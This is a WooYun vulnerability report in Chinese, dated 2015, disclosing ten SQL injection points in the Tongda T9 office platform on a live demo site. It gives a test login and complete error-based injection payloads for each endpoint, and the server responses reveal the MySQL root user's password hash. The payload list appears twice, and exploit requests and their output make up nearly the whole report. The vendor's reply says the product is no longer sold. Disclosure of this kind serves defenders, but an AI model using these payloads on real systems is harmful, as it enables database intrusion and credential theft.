漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0101048
漏洞标题:通达T9系统sql注射10处打包(demo站点root权限)
相关厂商:通达信科
漏洞作者: 路人甲
提交时间:2015-03-13 10:51
修复时间:2015-06-14 10:04
公开时间:2015-06-14 10:04
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-03-13: 细节已通知厂商并且等待厂商处理中
2015-03-16: 厂商已经确认,细节仅向厂商公开
2015-03-19: 细节向第三方安全合作伙伴开放
2015-05-10: 细节向核心白帽子及相关领域专家公开
2015-05-20: 细节向普通白帽子公开
2015-05-30: 细节向实习白帽子公开
2015-06-14: 细节向公众公开
简要描述:
T9智能管理平台是基于B/S架构,灵活、稳定、安全、高性能的办公系统。采用自主研发的引擎技术,提供强大的工作流和公文流程管理功能,可完全根据客户需求定制办公门户平台。
详细说明:
测试地址 http://t9.go2oa.com/t9/core/frame/webos/index.jsp
测试帐号及密码 oa/无
注入1:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9EmailBoxAct/isBoxNameExist.act?
post:
boxName=test' and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
%3BPERSON%2CSEQ_ID%2CUSER_NAME&_=&boxId=1
返回结果:
{"rtState":"1", "rtMsrg":"邮箱默认每页显示邮件数设置失败: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入2:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9InnerEMailAct/deletMailForShort.act
post:
shortCutType=1&delType=1&boxId=0 and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回:
{"rtState":"1", "rtMsrg":"邮件删除失败!可能原因:Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入3:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9InnerEMailAct/listInBox.act?boxId=0 and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
&queryType=null&startDate=&mailStatus=&endDate=&subject=&key1=&key2=&key3=&userId=
返回:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入4:
http://t9.go2oa.com/t9/t9/core/funcs/system/ispirit/n12/group/act/T9ImGroupAct/deleteGroup.act
post:
seqId=4)and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入5:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9InnerEMailAct/readFlag.act
post:
mailId=5) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
&fieldValue=1&_=
返回:
{"rtState":"1", "rtMsrg":"加载代码失败Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入6:
http://t9.go2oa.com/t9/t9/core/funcs/system/ispirit/n12/group/act/T9ImGroupAct/startGroup.act
post:
seqId=' and
(select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入7:
http://t9.go2oa.com/t9/t9/core/funcs/doc/act/T9FlowTypeAct/getFlowTypeJson.act?sortId=184) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入8:
http://t9.go2oa.com/t9/t9/core/funcs/doc/flowrunRec/act/T9MyWorkAct/getMyWorkList.act?sortId=184) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
post:
pageIndex=1&showLength=10&flowId=0&typeStr=2&_=
返回结果:
{"rtState":"1", "rtMsrg":"
Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1
", "rtData":""}
注入9:
http://t9.go2oa.com/t9/t9/core/funcs/workflow/act/T9WorkQueryAct/getFlowTypeJson.act?sortId=1) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入10:
http://t9.go2oa.com/t9/t9/core/funcs/workflow/act/T9MyWorkAct/hasWork.act?sortId=1) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
漏洞证明:
测试地址 http://t9.go2oa.com/t9/core/frame/webos/index.jsp
测试帐号及密码 oa/无
注入1:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9EmailBoxAct/isBoxNameExist.act?
post:
boxName=test' and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
%3BPERSON%2CSEQ_ID%2CUSER_NAME&_=&boxId=1
返回结果:
{"rtState":"1", "rtMsrg":"邮箱默认每页显示邮件数设置失败: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入2:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9InnerEMailAct/deletMailForShort.act
post:
shortCutType=1&delType=1&boxId=0 and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回:
{"rtState":"1", "rtMsrg":"邮件删除失败!可能原因:Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入3:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9InnerEMailAct/listInBox.act?boxId=0 and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
&queryType=null&startDate=&mailStatus=&endDate=&subject=&key1=&key2=&key3=&userId=
返回:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入4:
http://t9.go2oa.com/t9/t9/core/funcs/system/ispirit/n12/group/act/T9ImGroupAct/deleteGroup.act
post:
seqId=4)and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入5:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9InnerEMailAct/readFlag.act
post:
mailId=5) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
&fieldValue=1&_=
返回:
{"rtState":"1", "rtMsrg":"加载代码失败Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入6:
http://t9.go2oa.com/t9/t9/core/funcs/system/ispirit/n12/group/act/T9ImGroupAct/startGroup.act
post:
seqId=' and
(select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入7:
http://t9.go2oa.com/t9/t9/core/funcs/doc/act/T9FlowTypeAct/getFlowTypeJson.act?sortId=184) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入8:
http://t9.go2oa.com/t9/t9/core/funcs/doc/flowrunRec/act/T9MyWorkAct/getMyWorkList.act?sortId=184) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
post:
pageIndex=1&showLength=10&flowId=0&typeStr=2&_=
返回结果:
{"rtState":"1", "rtMsrg":"
Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1
", "rtData":""}
注入9:
http://t9.go2oa.com/t9/t9/core/funcs/workflow/act/T9WorkQueryAct/getFlowTypeJson.act?sortId=1) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
返回:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入10:
http://t9.go2oa.com/t9/t9/core/funcs/workflow/act/T9MyWorkAct/hasWork.act?sortId=1) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
修复方案:
过滤
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:1
确认时间:2015-03-16 10:03
厂商回复:
T9产品已停止销售
最新状态:
暂无